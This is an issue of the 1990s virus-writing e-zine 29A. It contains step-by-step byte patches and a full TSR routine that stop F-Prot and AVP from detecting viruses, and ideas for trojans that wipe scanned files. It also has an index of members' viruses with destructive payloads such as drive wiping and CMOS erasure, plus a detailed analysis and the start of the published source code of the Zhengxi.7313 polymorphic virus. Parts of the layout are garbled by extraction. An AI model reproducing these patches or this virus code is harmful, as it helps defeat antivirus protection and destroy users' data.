Once you've got this, just change b43f for b43c, so AVP will close the file instead of reading from it... the result will be that, as usual, AVP won't detect any virus. This method is a bit bully, but you'll save some time and the result will be the same :) Oh, btw... i was gonna forget it... Mister Sandman, 2; Kaspersky, 1 ;-P

WILD TROJANS ************ Another of the resources in order to fuck AVP is using trojans, albeit from here on, imagination is worth it. The twister ideas you have, the better and more original results you get ;) These are two of the ideas i've practised (i can't include it's destructive and goes against the rules of 29A) :) their code as

þ Check every time AVP opens and reads from a file; then, trunk this file by using 3ch/int 21h... in this way, every file scanned by AVP will turn into a 0 byte file :*) þ Intercept AVP scanning and then infect, or even overwrite the file it's being scanned with a tiny virus... Trivial.22, for instance :)

MODIFICATIONS ON THE EXECUTABLE ******************************* Just note one more. In the AV community (sect?), the ratio between the stupidity of the sanity check is directly proportional with the stupidity of its author. And Kaspersky is part of that AV community, of course :) As he ain't a dork at all, the sanity check is quite original and effective. It just consists on a simple comparison of the address of the original entry point with the actual one. What does this mean? oh, well... just stop and think for a while about viruses which don't modify the entry point of the file they infect ;) As you can see, all it takes is some knowledge on how AVP behaves and some imagination to exploit its bugs. I stopped commenting the AVP.EXE disassembly, as AVP 3.0 will be released very soon, and its kernel has been written in ASM, so it will be much easier to explore than the code of previous versions, which was written in C++ <g>, and be sure that i'll bring you more news and bugs on it in 29A#2 ;)

Mister Sandman, bring me a dream.

Chilling Fridrik *************************************************************************> Blade Runner The reason of writing this article is that i realised that i've never seen how to fool F-Prot in any virus magazine... and as i like to be original, i decided to have a look at it and try to do some modifications in its code so it won't detect any virus... and i got it :) And believe me that it's quite easy to do... just keep reading the article and try it by yourself following the next steps :) Ok, F-Prot, unlike TbScan, uses int 21h for opening, reading, and so on, that is, for scanning files for any infection. When it reads from a file, it does it holding the next values: AX=3f00h BX=0008h CX=0800h Since we know this, it's very easy for us to intercept this kind of calls to the int 21h with something like this:


cmp jne cmp jne cmp je

ax,3f00h jump_back bx,8 jump_back cx,800h fprot_read 0eah ?,?

jump_back: old_int_21h

db dw

Once we know that it's a F-Prot read, we can start doing our work... the unique things we must do for it to don't detect absolutely anything is to bypass the secure scan and the two types of heuristic scanning it uses. Let's see the way in which we can do this thingy :)

²²²²²²²²²²²²²²²²²²²²²²²²²²² ²² Secure method ²² ²²²²²²²²²²²²²²²²²²²²²²²²²²²

803FD0 >7519 C41E502D 26 807F01CF >750E 9AF500C136 C706D64B0000 C706D44B0000 C41E502D 26 >803FFF 750B C41E502D


BYTE PTR [BX],D0 0123 BX,[2D50]

<<< change this for JZ

BYTE PTR [BX+01],CF 0123 <<< change this for JZ 36C1:00F5 WORD PTR [4BD6],0000 WORD PTR [4BD4],0000 BX,[2D50] BYTE PTR [BX],4D 0121 BX,[2D50] <<< change 4dh for 0ffh

26 807F015A 742A


BYTE PTR [BX+01],5A 014B

²²²²²²²²²²²²²²²²²²²²²²²²²²² ²² First heuristic ²² ²²²²²²²²²²²²²²²²²²²²²²²²²²²

9A2605AF1F 0BC0 >740E FF36E43D 9A0000794A


1FAF:0526 AX,AX 0117 [3DE4] 4A79:0000

<<< change this for jnz

²²²²²²²²²²²²²²²²²²²²²²²²²²²² ²² Second heuristic ²² ²²²²²²²²²²²²²²²²²²²²²²²²²²²²

833EBF5500 >7402 EB32 81FE8713 7524


WORD PTR [55BF],+00 0109 <<< change this for jnz 013B SI,1387 0133

And that's all, folks... since this five bytes have been changed, F-Prot will *NOT* detect any virus. As a last thing i'll include the complete routine, though it's a trivial thing, so you can implement it in your retro code; as i always use debug for coding, i think you'll have to adapt it, but anyway... :) And don't ask me why do i always use debug for ditional .ASM text file and TASM or A86... :) coding instead the tra-

>- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 a100 jmp 0174 a110 cmp ah,3f jz 0117 jmp 0125 cmp bx,+08 jz 011e jmp 0125 cmp cx,0800 jz 0130 nop cs: jmp far [0103] a130 push push push push push

ax bx cx dx ds

mov sub mov mov mov mov mov mov mov mov mov mov sub mov mov mov mov mov sub mov mov mov pop pop pop pop pop cs: jmp

ax,ss ax,3295 ds,ax bx,01a2 cl,f0 [bx],cl cl,74 bx,042b [bx],cl bx,0420 [bx],cl ax,ss ax,3521 ds,ax bx,03e8 cl,75 [bx],cl ax,ss ax,17c7 ds,ax bx,0347 [bx],cl ds dx cx bx ax far [0103]

a174 mov dx,197 mov ah,9 int 21 mov ax,3521 int 21 mov [0103],bx mov [0105],es mov dx,0110 mov ax,2521 int 21 mov dx,0174 int 27 a197 db "F-Prot won't detect any virus","$" db " (c) Blade Runner/29A, 1996 ","$" rcx be w q >- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

Blade Runner/29A Los Angeles, 2019

Virus index *************************************************************************> Mister Sandman Zhengxi.7313 ************ Author : Unknown (well, hehe... ;) Origin : Russia Objectives: EXE (standard, Pascal/C, SFX), OBJ and LIB. Besides, Zhengxi inserts COM droppers into ZIP, ARJ, RAR and HA archives with the stored method Hooks : int 21h and int 25h, with redirection and UMB residency; it doesn't go resident under certain conditions Behaviour : full stealth, highly polymorphic (encrypted with two polymorphic loops), uses a CRC32 generator for every data comparison it makes. It has a trigger routine, with deletes all the files of all the drives under certain conditions. This is probably the best virus ever.

V.6000 ****** Author : Disasm by : Origin : Objectives: Hooks : Behaviour :

Unknown Tcp/29A Unknown EXE, COM, MBR and boot sectors (multipartite) int 8, 13h, 17h, 1ch, 20h, 21h, 25h, 26h, 27h under certain conditions, depending on some internal counters and on the way it's being executed (under debugger), it erases the CMOS and the hard drive sectors. It also stays memory resident after any kind of reboot thanks to this trick: when it infects MBR, it stores the drives info from the CMOS, and then sets these values to zero. When it detects any disk acccess, it restores the original CMOS on the fly, so the user can't remark any change. If the user tries to do any kind of boot, as the CMOS values are set to zero, the MBR will receive the control, and it will restore these values, making possible to boot from the floppy drive as usual. Polymorphic :)

TS.1423 ******* Author : Disasm by : Origin : Objectives: Hooks : Behaviour :

Unknown Tcp/29A Spain COM and EXE files (infects on file closing) int 13h, int 21h its encryption routine is based on tracing code via int 1, fully antidebugging. It doesn't infect *AN.*. If the year is above 1995, it will mark clusters as bad, and on fridays, it will change disks writes to verifications. UMB residency.

Remolino.968 ************ Author : Trumpet WinCock Origin : Spain Objectives: COM and EXE files Hooks : int 21h Behaviour : a new infection way... neither overwriting, nor appending, nor prepending, nor ap-pre-pending... guest :) It looks for some unused code in their victims big enough to hold the viral code, and if there's enough room for it, it copies itself

there without doing any change in the file length. It has a payload which displays a whirlscreen effect, which became rather famous (it was even used by NuKE in their zines).

Torero ****** Author : Origin : Objectives: Hooks : Behaviour :

Mister Sandman/29A Spain COM files int 13h, int 21h it has two peculiarities: first, it doesn't store the original header of the files it infects into its body, but into a newly discovered (by AVV and me) zone of ten free bytes, in the directory entry of the file. And second, it uses the 8th attribute bit as infection mark, making the infection checks much more simple, reliable and antiheuristic.

Internal Overlay **************** Author : Tcp/29A Origin : Spain Objectives: COM and EXE files Hooks : int 21h Behaviour : it infects COM and EXE files without modifying their headers, bypassing lots of CRC security programs which just check the file header. It does this by appending an internal overlay to the file and writing an overlay loader at the entry point. It infects, then, EXE files with internal overlays, but NOT if any of the relocation items is located in the entry point, unless this item is found at offset 7 (it would be a PkLited file) ;)

Cri-Cri ******* Author : Origin : Objectives: Hooks : Behaviour :

Griyo/29A Spain COM, EXE and floppy drives (multipartite) int 3, 13h, 21h full stealth, as it redirects reads to infected sectors and files to the original ones, highly polymorphic, it won't infect files with any V in their name, files with the actual day date, and some AV executables. It has a payload which display a message on the screen.

TheBugger ********* Author : Origin : Objectives: Hooks : Behaviour :

The Slug/29A Spain COM files int 1, 3, 21h, 0cdh, with redirection its peculiarity consists in that it gets a random number between 2 and 5 (x) and starts tracing its victim until it reaches the call number 'x' :) and then infects that call. It uses a new tunneling routine based on an old one (the int 30h trick), bypassing the AH < 24 limit and finding the original int 21h vector address. Besides, it uses an antilamer install check which detects if the user is trying to deceive it with one of those lame programs which just return the virus residency value so the virus doesn't go resident again... TheBug-

ger avoids this by doing a random byte comparison, and if it detects that the user is trying to deceive it, executes a simulated HD formatting routine and displays a message.

Apocalyptic *********** Author : Origin : Objectives: Hooks : Behaviour :

Wintermute/29A Spain COM and EXE files int 3 and int 21h, with redirection it's a stealth COM and EXE infector which disables TbDriver on every execution; it skips F-Prot's stealth detection engine, and if the system date is equal to july 26th, it will show all the files in with 29Ah as length.

AVP-Aids ******** Author : Origin : Objectives: Hooks : Behaviour :

Tcp/29A Spain COM files nothing, it's a runtime infector AVP-Aids proves the capabilities to write and spread viruses using AVPRO's API functions. It inserts a new viral database into AVP; this database will make AVP to delete F-Prot, Scan and TbScan when being scanned. Besides, AVP won't detect any virus, favouring the appeareance of opportunist infections by other viruses.

AntiCARO ******** Author : Origin : Objectives: Hooks : Behaviour :

Mister Sandman/29A Spain COM files int 21h it's just a 'joke' virus to protest against Vesselin Bontchev and the way in which CARO and this sucka name the viruses. As AVP is Bontchev's favourite AV, AntiCARO will modify it so it (AVP) will detect VLAD's Bizatch as 'Bizatch_:P' and not as Boza. About the virus itself, it's just a TSR COM infector which uses SFTs for performing its infection routines.

Galicia Kalidade **************** Author : Leugim San/29A Origin : Spain Objectives: WinWord documents Behaviour : it's an encrypted macro infector which hits documents on closing. Besides, it has two peculiarities: it's the tiniest macro infector ever, and it contains a trigger routine; if it finds the text chain 'dir a:' in any document, it will delete MSDOS.SYS and IO.SYS, and then display a message box.

Mister Sandman, bring me a dream.

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

Ú**********************¿ ³ Zhengxi.7313 ³Û ³ original source code ³Û ÀÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ

At last... the source of the most complex virus ever is published in a virus magazine. And we're glad that the fortunate magazine is 29A :) You are stepping with the reader cool smooth scroll through the original source code of the best of the three versions (7271, 7307, 7313) of Zhengxi. This source code, as the compiled version of the virus itself, is quite hard to understand. Anyway, i decided to leave the source code 'as is', albeit some weeks ago i started making it up a bit and commenting some uncommented code so it would be more easy and clear to read. At last i decided to stop spending my time on this and give you the *truly* original source code, so you can know the way in which its author coded it, you can read the original comments (some of them in russian), and so on. The original source code is formed by some ASI, ASM and INC files, which make the virus compiling harder than the virus coding itself :) That's why i included a ZIP which contains the compiled version of Zhengxi.7313. I must give thanks to the author of this rocking virus because of the supermarvel he coded and for releasing the original source code (btw, he seems to have a great sense of humour :), and to the friend who gave this jewel to me, who wishes to remain anonymous. As a last thing, for those who still don't know what does Zhengxi do (!), here's a very good report about the Zhengxi virus family, written by Eugene Kaspersky, who, btw, should use the money he earns with AVP for taking some english classes :)

**´ Zhengxi family Ã***************************************************** This is the family of very dangerous, polymorphic and stealth parasitic viruses. These viruses are more that 7k of length, very complex, maybe the most complex DOS viruses. These viruses infect EXE, OBJ and LIB files, and append COM droppers to ZIP, ARJ, HA, and RAR archives. The viruses contain the text strings: Abnormal program termination The Virus/DOS 0.54 Copyright (c) 1995 Zhengxi Ltd Warning! This program for internal use only!

Installation ************ The virus code receives the control from different points depending on the infection way, but in all cases the destination is the polymorphic decryption routine. In EXE files (appending) the decryption routine receives the control immediately when EXE file is loaded into the memory for execution; in EXE files (inserting), from the loader code (see EXE infection); in the files linked with infected OBJ/LIB files, from a call instruction (see OBJ/LIB infection); the COM droppers have a jmp instruction at their beginning, which brings the control to the decryption routine. Being decrypted, the virus installation routines receives the control. The virus hooks int 1 (one step tracing), and traces int 21h. While tracing, the virus looks for some specific code within the int 21h handler (that code is present in DOS 5.x and DOS 6.x). If such code is found, the virus checks several conditions, and terminates installation in some cases. These cases are the ones below:

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

- Microsoft Windows is installed - Boot drive is A: or B: - Int 8, 13h, 28h point to the same segment (to exit installation if any antivirus monitor is installed?) - Host file's day (date and time stamp) is the same or near the current day (if the two highest bits of current day number xored with the file day is equal to zero) Then the virus allocates the block of the system memory for the virus TSR copy, stores in its body 11 bytes from the address of the int 21h handler and patches int 21h code with a far call instruction (2f ff 1e ?? ??), which brings the control to the int 25h handler (absolute disk read). Then the virus stores the first five bytes of int 25h handler and writes there other five bytes, which become the far jmp to the virus code. The result looks like follows: int 21h handler: ... Ú********* 2e ff 1f ???? ³ c7 06 ³ int_25h: ???? ???? ³ ... ³ À> int 25h handler: Ú********* ea ???? ???? ³ ... À> virus handler: 2e 8f 06 ... ...

... call far cs:int_25h ???? ???? ???? ...

; Magic word? ; Far addr of int 25h

jmp far virus_handler ... pop cs:caller_ip ...

As result, the virus has the same handler to intercept both int 21h and int 25h calls. To separate these calls, Zhengxi checks the address of the caller (the caller_ip). If the call goes to the int 21h handler, the virus passes the control to its int 21h handler routine; in another case, the virus int 25h handler receives the control. The installation routine is complete, but the virus can move its code to other memory blocks (see int 21h handler analysis). So, the TSR copy of the virus does not occupy the same blocks of the system memory, but may move itself to other addresses, including UMB ones. Then the virus returns the control to the host program. There are three different variants of such return, and they depend on the infection method. In case of a COM dropper the virus just displays this message: Abnormal program termination And returns to DOS with the terminate function (int 21h, ah=4ch). In case of the EXE-appending infection method the virus restores the original file header by using its polymorphic engine (generates the polymorphic decryption routine, and executes it for restoring the original header (see EXE infection below). In case of the EXE-inserting way the virus just returns to the host program because the virus loader inserted into the file restores the original code itself. In case of being an OBJ/LIB file the virus also just returns to the host (see OBJ/LIB infection below).

Int 21h handler *************** Zhengxi intercepts 18 int 21h functions: 3dh, 6ch 3eh - Open/create file - Close file

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

3fh 42h 4bh 41h 11h, 4eh, 00h, 31h 67h 48h,

12h 4fh 4ch 49h, 4ah -

Read file Lseek File execution Delete file Findfirst/findnext FCB Findfirst/findnext ASCII Terminate Terminate and stay resident Set handle count Memory managing functions (allocate, free, resize)

The set handle count, file execution and memory managing functions are used by the virus to hide its code into the system memory (Zhengxi manipulates MCB blocks to remain invisible on the memory map while using memory browsing utilities). While intercepting terminate, TSR and free memory DOS functions, Zhengxi moves its code to a new address in the system memory. The virus allocates a new memory block (may be a conventional or UMB memory block), and copies itself there. So, while installing, the virus does not affect UMB blocks to place its TSR copy, but then it may move into UMB, and hide itself there. While file opening the virus performs several different calls. First, the virus checks the opening mode, and if the file is opened for writing, the virus disinfects the file. Before disinfection the virus checks the file is being accessed, and the program that is accessing that file (the caller). The virus compares the name of this program or caller with a name list (see below), and does not disinfect the accessed file if the caller name is found in that list. UUENCODE.EXE, PKLITE.EXE, LZEXE.EXE, NDD.EXE, DIET.EXE, AFD.EXE, SD.EXE SPEEDDSK.EXE, DEFRAG.EXE, TLINK.EXE, LINK.EXE In case of the ah=3d00h function (open read-only) the virus performs some strange actions. It scans the caller code and patches it. It looks like patching some antivirus scanner. Fortunately, the virus has a bug, and that branch is never executed. While opening the file, the virus also brings the control to its stealth routine: it replaces the file length with the original one. While reading from a file, Zhengxi calls the stealth routine. In case of reading from the header of the infected file the virus reads, decrypts and copies the original header into the reading buffer. In case of the lseek function the virus brings the control to other of its stealth routines: it doesn't allow to seek out of the original file length. While deleting an infected file, the virus disinfects it. While looking for files with findfirst/findnext, Zhengxi replaces the file length with the original one if the file is infected. Findfirst/findnext ASCII calls are also used by the virus to catch files for infection. The virus saves the name of any file that is accessed with the findfirst function, and approximately each 5th file (with probability 3/16) accessed with the findnext function. The virus has only one buffer for the file name, so every next name overwrites the previous one. While closing any file the virus checks and infects it with the name that

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

that is stored in the buffer. The virus also infects the file that is being closed, but is does it with probability 1/4 (by the result of its random generator).

Infection ********* Before infecting a file, Zhengxi checks several conditions: - The file with the - The file - The file - There is is not "just created", by comparing the current day number file date and time stamp (as while installing itself) is local, and not on A: or B: drive name is not *.?V? (*.OVL) enough free disk space (it checks this with int 21h, ah=36h)

If all this is ok, the virus reads the file header and checks it for EXE, OBJ, LIB and archives stamps.

Infecting EXE files ******************* Zhengxi infects EXE files by using three different infection methods: appending, inserting, and infecting archives in self-extracting files. At first, the virus checks the file structure, and if it is a self-extracting EXE file (created by ZIP2EXE, for instance), Zhengxi infects it using the same method it uses when infecting archives (ZIP, ARJ, HA, RAR) that is, creating a COM dropper and adding it to the archive contents. Then the virus checks the file length, and doesn't infect files with a length lesser than 400h (1024) bytes. If the length of the loadable modudule (note: not the file length) is larger that 32k, Zhengxi inserts its own loader int the middle of the file. In other case, it infects the file by the appending method. While infecting files by the appending method, Zhengxi reads file header, encrypts and saves it to the end of the file. Then it runs its polymorphic generator, and saves the encrypted virus body and the polymorphic loops to the end of the file. For finishing the file infection, Zhengxi increases the file length to a value that divided by 9dh gives 25h as rest (this is the virus ID stamp, its infection mark), and modifies the EXE header fields (registers and module length). Note: Zhengxi encrypts the original host header with the polymorphic encryption loop, and that loop is different that the routine it uses for encrypting the virus body. Then, the virus calls its polymorphic engine twice: while encrypting the original EXE header, and while encrypting the main body. While executing an infected EXE file, the decryption loop restores the main virus body, but not original file header. To return to the host, the virus has to decrypt the host data, but the engine generates random loops with random selected encryption functions. To solve that problem, Zhengxi stores the initial random generator values while encrypting the host data, and runs the polymorphic generator with the same values while decrypting those data. As result, the generator brings the same code which was used for encrypting the host header, and being executed, that routine decrypts it.

Infecting EXE Files (inserting) ******************************* If the file length is above 32k, the virus

seeks to the beginning of the

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

EXE main module (just after EXE header), reads 6k of code, and looks for C/Pascal routines there. Usually C/Pascal routines begin from the same "header" that saves the BP register, and moves the stack pointer to BP. Zhengxi scans the code for those "headers" and, if such code is found, the virus scans the next 54h bytes of code for a ret or a call far instruction to prevent an overlap of the next subroutine, or relocated address. If such code (ret or call far) is found, the virus exits from its infection routine. Then the virus reads 54h bytes of that routine, overwrites it with the code of its loader, and then encrypts the main virus body with its polymorphic engine, and saves it to the end of the file. Then Zhengxi encrypts with a simple sub function the original subroutine code and the second part of the loader, and saves it to the end of the file. Then the virus writes the random data to the end of the file in the same way as in the "appending" infection method. Not infected Infected ************ ******** Ú**************¿ Ú**************¿ ³EXE header ³ ³EXE header ³ Ã**************´ Ã**************´ ³Main EXE code ³ ³Main EXE code ³ Ã--------------´ Ã--------------´ ³C/Pascal subr Ã**¿ ³Virus loader ³ Ã--------------´ ³ Ã--------------´ ³ ³ ³ ³Main EXE code ³ ³ ³ ³ ³(continued) ³ À**************Ù ³ Ã**************´ ³ ³Virus ³ ³ Ã--------------´ ³ ³Virus loader ³ ³ Ã--------------´ À*>³Saved code ³ Ã--------------´ ³Random data ³ À**************Ù

Part 1, 52h bytes, not encrypted

Encrypted with polymorphic loops Part 2, encrypted with sub 70h bytes Original code of the patched subr, 52h bytes, encrypted with sub File length/9dh, the rest is 25h

Being executed, the loader looks for the host file name by using the PSP fields, opens the file, seeks to the file end, then reads, decrypts and executes the second part of the dropper. This part restores the patched subroutine, allocates system memory (conventional or UMB), reads the main virus body, and passes the control to the decryption polymorphic loop. That loop decrypts the virus body, and passes the control to Zhengxi's installation routine. This is a very insidious infection way. The virus code is hidden in the file, and there is no direct entry to the virus code from the file header. The subroutine replaced with virus loader may be a "seldom-executed" one. For instance, a subroutine which displays an error message. So the virus may "sleep" in such files for a long time, and then jump out and infect the system under some limited conditions.

Infecting archives ****************** In case of having to infect an archive, Zhengxi builds in memory the infected COM dropper image, and appends it to the archive. Those COM droppers always begin with a jmp instruction followed by random data, the encrypted virus code and the decryption polymorphic loop. The jmp instruction brings the control to this decryption loop.

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

The name of the COM dropper is random extension, for instance:

selected and

finished with a .COM

HAIF.COM, UCM.COM, DOO.COM, VLG.COM, and so on. While processing the archive fields, Zhengxi does not use any external utility, but fills by itself all the necessary fields. The virus does not pack the dropper: it uses the "stored" method (the virus is stored in the archive "as is"). While infecting, Zhengxi checks the contents of the archives, and does not infect them twice.

Infecting OBJ and LIB files *************************** While infecting OBJ/LIB modules, Zhengxi checks the fields of the file, creates, and inserts there a new object record which contains the viral code, encrypted with two polymorphic loops. While scanning object files, the virus checks the code of these files for a C/Pascal subroutine "header" as well as while inserting into EXE files, and infects the files only if that code is found. But if the OBJ or the LIB module doesn't contain such code, the virus does not drop the loader code there, but overwrites a C/Pascal header with a call instruction. Being linked to an executable file, that call brings the control to the virus polymorphic decryption loop. That loop decrypts the viral code and passes the control to the virus installation routine. As well as in EXE files (inserting), that call may never receive the control, so Zhengxi may sleep for a long time. But under some conditions the virus may jump out and infect the system.

Int 25h handler *************** This handler carries out the stealth routine on int 25h level. While accessing to the directory entries, the virus substitutes the file length with the original one. While reading the header of an infected file, the virus restores and brings it in its original form. The virus doesn't stealth 100% on int 25h level, of course. There are several ways to bypass this stealth routine. But if some antivirus program reads the file contents via int 21h DOS functions, then it reads the directory structure and then the file contents by absolute int 25h calls, and Zhengxi remains completely invisible.

Trigger routine *************** If while processing a ZIP file Zhengxi finds some record packed with the "stored" method, it checks the ZIP file date and time stamp. If the year of last modification of that file is 1996 or above, Zhengxi will look for all the files of all the directories on all the disks (from C: till Z:), and delete them (the files and whole subdirectory tree). **´ Zhengxi code Ã*******************************************************

; Structure of archive block (low order byte first): arj_hdr_struc struc arj_header_id dw ? ; 0;=EA60 2 header id (comment and local ; file) = 0xEA60 or 60000U arj_bas_hdr_size dw ? ; 2;=28 ? 2 basic header size (from ; 'first_hdr_size' thru 'comment' below)

arj_first_hdr_size arj_ver_num arj_min_ver arj_host_OS arj_flags

db db db db db

? ? ? ? ? ; ; ; ; ; ? ? ? ? ? ? ? ? ? ? ?

arj_compres_method arj_file_type arj_reserved arj_file_time arj_file_date arj_compressed_size arj_original_size arj_CRC32 arj_entryname_pos arj_file_access_mode arj_host_data ; ; ; ; ? ? 4 2

db db db dw dw dd dd dd dw dw dw

;= first_hdr_size + strlen(filename) + 1 ;+ strlen(comment) + 1 ;= 0 if end of archive ; 4;1E 1 first_hdr_size (up to extra data) ; 5;06 1 archiver version number ; 6;01 1 min. archiver version to xtract ; 7;00 1 host OS (0 = MSDOS, 1 = PRIMOS, ; 2 = UNIX, 3 = AMIGA, 4 = MACDOS) ; 8;10 1 arj flags (0x01 = GARBLED_FLAG) ; indicates passworded file ; (0x02 = RESERVED) ; v- no inf.vol.files, detect it as already ; (0x04 = VOLUME_FLAG) indicates continued ; file to next volume ; (0x08 = EXTFILE_FLAG) indicates file ; starting position field ; (0x10 = PATHSYM_FLAG) path translated ; 9;00 1 method (0 = stored, 1 = compressed ; most ... 4 compressed fastest) ; A;00 1 file type (0 = binary, 1 = text ; 2 = comment header) ; B;'Z' 1 reserved ; C; 4 date time stamp modified ; E; 4 date time stamp modified ;10; ;14; ;18; ;1C;0 ;1E;0 ;20;0 ;22; 4 4 4 2 2 2 compressed size original size original file's CRC entryname position in filename file access mode host data (currently not used)

filename (null-terminated) comment (null-terminated) basic header CRC 1st extended header size (0 if none) = 0

; ? compressed file ends ha_main struc hasign db 'HA' filecnt dw ? ends ha_file_hdr struc ha_ver_method db 20h ha_compress_size dd ? ha_original_size dd ? ha_CRC32 dd ? ha_file_time dw ? ha_file_date dw ? ha_path dw ? ; '/', '.', '+' ends ha_name equ ha_path+size ha_path ;+1 name ;+n 00h ;+1 length of machine specific information ;+1 machine specific information ;2,1,20 ;machine specific information :

; ; ; ; ; ; ; ;

0 2 6 A E 10 12 db 14

;0000 ;0001

type information

rar_main_hdr struc rar_head_crc dw ? rar_head_type db 73h rar_head_flags dw ? ; 0x01 - Volume attribute (archive volume) ; 0x02 - Archive comment present ; 0x04 - Archive lock attribute ; 0x08 - Solid attribute (solid archive) ; 0x10 - Unused ; 0x20 - Authenticity information present rar_head_size dw ? rar_reserved1 dw ? rar_reserved2 dd ? ends ;Comment block present if (HEAD_FLAGS & 0x02) != 0 rar_file_hdr struc rar_f_head_crc dw ? ; 0 rar_f_head_type db 74h ; 2 rar_f_head_flags dw ? ; 3 ; 0x01 - file continued from previous volume ; 0x02 - file continued in next volume ; 0x04 - file encrypted with password ; 0x08 - file comment present ; (HEAD_FLAGS & 0x8000) == 1, because full ; block size is HEAD_SIZE + PACK_SIZE rar_f_head_size dw ? ; 5 rar_compressed_size dd ? ; 7 rar_original_size dd ? ; B rar_host_os db 0 ; F rar_crc32 dd ? ;10 rar_file_time dw ? ;14 rar_file_date dw ? ;16 rar_req_ver db 15d ;18 rar_method db 30h ;19 rar_fname_size dw ? ;1A rar_file_attrib dd ? ;1C ends ;20 ;FILE_NAME File name - string of NAME_LEN bytes size ;Comment block present if (HEAD_FLAGS & 0x08) != 0 ;???? Other extra included blocks - reserved for future use

zip_local_header struc zip_loc_sign zip_ver_ned_to_extr zip_flags zip_compression_method zip_file_time zip_file_date zip_crc_32 zip_compressed_size zip_uncompressed_size zip_size_fname zip_extra_field_length ends ; filename (variable size)

db dw dw dw dw dw dd dd dd dw dw

'PKETXEOT' ? ; ? ? ? ? ? ? ? ? ? ; 1E ; ; ; ; ; ; ; ; ;

; 4 6 8 A C E 12 16 1A 1C


; extra field (variable size) zip_central_header struc zip_centr_sign_ zip_ver_made_by_ zip_ver_ned_to_extr_ zip_flags_ zip_compression_method_ zip_file_time_ zip_file_date_ zip_crc_32_ zip_compressed_size_ zip_uncompressed_size_ zip_size_fname_ zip_extra_field_length_ zip_file_comment_length_ zip_disk_number_start_ zip_intrnl_file_attr_ zip_extrnl_file_attr_ zip_rel_off_of_loc_hdr_ ends ; filename (variable size) ; extra field (variable size) ; file comment (variable size) zip_end_header struc end_file_hdr_sign db num_of_this_disk dw num_of_the_start_disk dw ttl_num_of_ent_on_this_disk dw ttl_num_of_ent_in_the_cent_dir dw size_of_the_central_directory dd off_of_strt_of_cent_directory dd zipfile_comment_length dw ends ; zipfile comment (variable size)

db dw dw dw dw dw dw dd dd dd dw dw dw dw dw dd dd

'PKETXEOT' ? ; ? ; ? ; ? ; ? ; ? ; ? ; ? ; ? ; ? ; ? ; ? ; ? ; ? ; ? ; ? ; ; 2E

; 4 6 8 A C E 10 14 18 1C 1E 20 22 24 26 2A


'PKENQACK' ; ? ; 4 ? ; 6 ? ; 8 ? ; A ? ; C ? ; 10 ? ; 14 ; 16


seg_attr RECORD SA_A:3, SA_C:3, SA_B:1, SA_P:1 MODEND = 08Ah SEGDEF = 098h FIXUPP = 09Ch LEDATA = 0A0h ;extrn dosseek_cx_0:near objrec struc rectype db ? recsize dw ? UNION STRUC segattr db ? segsize dw ? ENDS STRUC dataidx db ? dataorg dw ? ENDS ENDS ENDS

LIB_DICTIONARY_ENTRY_SIZE = 200h lib_hdr struc lib_hdr_type db


lib_hdr_recsize lib_hdr_dict_offs lib_hdr_dict_size lib_hdr_flags lib_hdr_padding ends

dw dd dw db db

? ? ? ? 10h-lib_hdr_padding dup (?)

;;MRORW MACRO w1, shval ;;PUSHSTATE ;;.386 ;; dw ((w1 and 0FFFFh) shr (shval and 0Fh)) or ((w1 and 0FFFFh) shl ;; (10h-(shval and 0Fh))) ;;POPSTATE ;;ENDM

CRC32w MACRO moreshit PUSHSTATE .386 LOCAL cum_crc, byt, suxx cum_crc = 0FFFFFFFFh IRP _byt, <moreshit> byt = _byt xor (cum_crc and 0FFh) cum_crc = (cum_crc shr 8) and 0FFFFFFh REPT 8 IF byt and 1 byt = (byt shr 1) xor 0EDB88320H ELSE byt = byt shr 1 ENDIF ENDM cum_crc = cum_crc xor byt ENDM cum_crc = not cum_crc suxx = (((cum_crc shr 16) and 0FFFFh) shr (cum_crc and 0Fh)) or \ (((cum_crc shr 16) and 0FFFFh) shl (10h-(cum_crc and 0Fh))) suxx = (suxx + cum_crc) and 0FFFFh ; add dx, cx dw suxx POPSTATE ENDM cmp_ax_CRC32w MACRO moreshit db 3Dh CRC32w <moreshit> ENDM .286 %NOINCL %NOSYMS .SFCOND .XCREF .SALL locals USE_PUSHA equ 0 ;RELIZ equ 0 ;USE_BEEP equ 0 $BEEP$ macro IFDEF USE_BEEP extrn beep:near

